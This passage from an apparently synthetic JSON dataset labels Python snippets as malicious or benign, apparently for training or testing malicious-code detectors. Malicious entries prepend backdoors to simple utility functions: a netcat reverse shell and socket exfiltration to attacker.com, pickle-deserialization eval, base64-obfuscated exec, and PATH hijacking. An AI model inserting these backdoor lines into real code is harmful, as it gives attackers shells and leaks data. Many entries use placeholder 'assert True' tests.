range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_1fec5c1f", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_e229ba29", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_65bc23b9", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b1cd049d", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_2dfe9600", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_863297bd", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d5b85caa", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_d3b78c00", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3e0dfd19", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_b040449a", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8bf752bb", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4c5ba0d7", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_1353707f", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_81d6ce72", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8f1f1b2d", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4be35632", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_9a967fc7", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_5e2799c2", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3df281af", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_6aa40864", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_6bf922db", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_f7d8a690", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_ffafa3cc", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c9e0d750", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_02a6d2ca", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_ff2a7696", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1ff177e9", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_501bf641", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f06cc40e", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_b595a5ea", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_943e6db2", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_7cb15783", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_1c8f7641", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e1570ffa", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_98b33b6b", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_07cbb40a", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_234e6cc9", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3118fae1", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a5740738", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_1123a999", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_484e40c3", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e37585d3", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_abc55290", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_64e9fa86", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_72a5c077", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_4e98a61b", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_06dc16b3", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_3cb79d1a", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ef014e6b", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import 